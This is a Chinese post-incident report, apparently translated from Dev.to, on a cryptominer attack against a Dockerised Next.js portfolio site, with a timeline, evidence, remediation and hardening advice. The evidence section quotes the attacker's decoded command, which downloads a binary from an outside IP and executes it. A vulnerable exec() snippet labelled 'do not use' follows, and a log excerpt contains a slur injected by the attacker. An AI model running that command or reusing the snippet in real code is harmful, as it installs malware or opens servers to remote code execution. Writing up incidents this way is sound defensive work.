安全事件报告:Next.js 应用的加密挖矿攻击

发布: (2025年12月13日 GMT+8 12:46)
7 min read
原文: Dev.to

Source: Dev.to

引言

在 2025 年 12 月 7‑8 日,运行在 DigitalOcean Ubuntu Droplet 上的 Next.js 作品集应用 luisfaria.dev 被一次自动化的加密挖矿攻击所入侵。攻击者在 Docker 容器化的 Next.js 应用内部执行了远程代码,部署了加密货币矿工,这些矿工运行了数小时后才被发现。

本文档是一篇事后分析报告和教育资源,描述了攻击的发生过程、被泄露的内容以及如何防止类似事件。

时间线

事件时间(UTC)
攻击开始~12 月 7 日 21:52
检测12 月 8 ≈ 18:00(容器行为异常)
修复12 月 9 (完整重建与调查)
发布12 月 10 (本文档)

攻击概览

  • 加密矿工部署 – 两个挖矿进程(XXaFNLHKrunnv)运行超过 4 小时。
  • 资源耗尽 – CPU 使用率飙升,导致应用超时。
  • 持久化尝试 – 恶意软件尝试(但失败)创建 systemd 服务。
  • 进程生成 – 创建了 40+ 僵尸 shell 进程。
  • Nginx 错误 – 多条 “upstream timed out (110: Operation timed out)” 信息。
  • 容器无响应 – Docker 命令变得极其缓慢。
  • HTTP 499/504 错误 – 请求失败或超时。

进程快照

docker compose exec webapp ps aux
PID   USER   TIME   COMMAND
1126  nextjs 4h24   ./XXaFNLHK          # Cryptominer #1
1456  nextjs 3h49   /tmp/runnv/runnv    # Cryptominer #2
40+   nextjs 0:00   [sh]                # Zombie shells

证据

恶意 HTTP 请求

141.98.11.98 - POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20jew.arm7%3B%20wget%20http%3A%2F%2F78.142.18.92%2Fbins%2Fjew.arm7%3B%20chmod%20777%20jew.arm7%3B%20.%2Fjew.arm7%20tbk

解码后的命令

cd /tmp; rm jew.arm7; wget http://78.142.18.92/bins/jew.arm7; chmod 777 jew.arm7; ./jew.arm7 tbk

此模式匹配一种已知的 IoT/路由器漏洞利用,正在向面向互联网的服务器进行喷洒。Next.js 应用的响应表明存在代码执行漏洞。

下载的文件

路径描述
/tmp/runnv/runnv8.3 MB 二进制文件 – 加密矿工
/tmp/runnv/config.json挖矿池配置
/tmp/alive.serviceSystemd 持久化尝试(失败)
/tmp/lived.serviceSystemd 持久化尝试(失败)
./XXaFNLHK次要矿工二进制文件

攻击者基础设施

  • 89.144.31.18 – 初始负载下载服务器(x86 二进制)
  • 78.142.18.92 – 次级恶意软件分发服务器

应用日志片段

⨯ [Error: NEXT_REDIRECT] {
  digest: '12334\nmy nuts itch nigga\nMEOWWWWWWWWW'
}

自定义的 digest 值暗示某个 API 路由或 Server Action 正在执行未过滤的用户输入,允许攻击者注入 shell 命令。错误被 Next.js 捕获,但命令已经执行。

漏洞代码示例

// VULNERABLE – DO NOT USE
export async function POST(request) {
  const { command } = await request.json();
  const { exec } = require('child_process');
  exec(command); // 🚨 Executes arbitrary commands
  return Response.json({ success: true });
}

Docker 安全评估

Docker 防止了什么

  • 矿工无法写入 /dev/(权限被拒绝)。
  • Systemd 服务无法安装(容器内没有 systemd)。
  • 文件系统访问被限制在容器视图内。
  • 容器与宿主系统隔离。

Docker 未能防止的事项

  • 容器内部的任意代码执行。
  • 高 CPU 消耗。
  • 向矿池的出站网络连接。
  • 对容器内 /tmp/ 的写入。

修复步骤

  1. 停止受感染的容器

    docker compose down
  2. 保存取证证据

    docker logs frontend_app > ~/attack_logs.txt
    docker logs nginx_gateway > ~/nginx_logs.txt
  3. 从干净源码重新构建

    cd /var/www/portfolio
    git pull origin master --ff-only
    docker compose build --no-cache
    docker compose up -d
  4. 验证干净状态

    docker compose ps
    docker compose exec webapp ps aux   # 没有可疑进程

行动项

  • 审计 所有 API 路由中 exec()spawn()eval()Function() 的使用。
  • 检查 Server Actions 的输入验证是否到位。
  • 运行 npm audit 并更新有漏洞的依赖。
  • 升级 Next.js 至最新版本(原为 15.3.2)。
  • 在每个面向用户的端点实现 严格的输入消毒。

搜索危险函数

# Find dangerous functions in the codebase
grep -rE "exec|spawn|eval|Function\(" . \
  --include="*.js" --include="*.ts" \
  --exclude-dir=node_modules

检查未消毒的 Server Actions

grep -r "use server" . --include="*.js" --include="*.ts"

Docker 加固

使用非 root 用户(已应用)

USER nextjs

资源限制

# docker‑compose.yml
deploy:
  resources:
    limits:
      cpus: '1.0'
      memory: 512M

网络隔离

# docker‑compose.yml
networks:
  frontend:
    driver: bridge
  backend:
    driver: bridge
    internal: true   # No internet access for backend

Nginx 加固

# Rate limiting to mitigate automated attacks
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;

server {
    location /api/ {
        limit_req zone=api burst=20 nodelay;
        # ... other directives ...
    }
}

输入验证(关键)

// SECURE CODE – never execute user input directly
import { z } from 'zod';

const schema = z.object({
  action: z.enum(['allowed', 'actions', 'only']),
  value:  z.string().max(100).regex(/^[a-zA-Z0-9]+$/)
});

export async function POST(request) {
  const body = await request.json();

  const result = schema.safeParse(body);
  if (!result.success) {
    return Response.json({ error: 'Invalid input' }, { status: 400 });
  }

  // Perform safe, predefined operations here
}

监控与告警

  • 容器资源监控

    docker stats frontend_app
  • 为高 CPU 使用率设置告警(例如 Prometheus + Grafana)。

CORS 配置更新

// src/index.ts
const corsOptions = {
  origin: config.nodeEnv === 'production'
    ? ['https://luisfaria.dev']   // ✅ production domain
    : 'http://localhost:3000',
  credentials: true,
};

总结检查清单

  • 永不直接执行用户输入。
  • 应用严格的输入验证(Zod、Joi 等)。
  • 定期运行 npm audit 检查前后端依赖。
  • 强制最小特权容器(USER nextjs)。
  • 设置 CPU 与内存限制(Issue #34)。
  • 实现服务之间的网络隔离(Issue #40)。
  • 添加 Nginx 限流和安全头(Issue #33)。
  • 加固所有 API 路由的输入验证(Issue #29)。
  • 部署资源峰值监控与告警(Issue #39)。
  • 更新 CORS 仅允许生产域名(Issue #32)。
  • 保持 Next.js 与所有依赖的最新状态。
Back to Blog

相关文章

阅读更多 »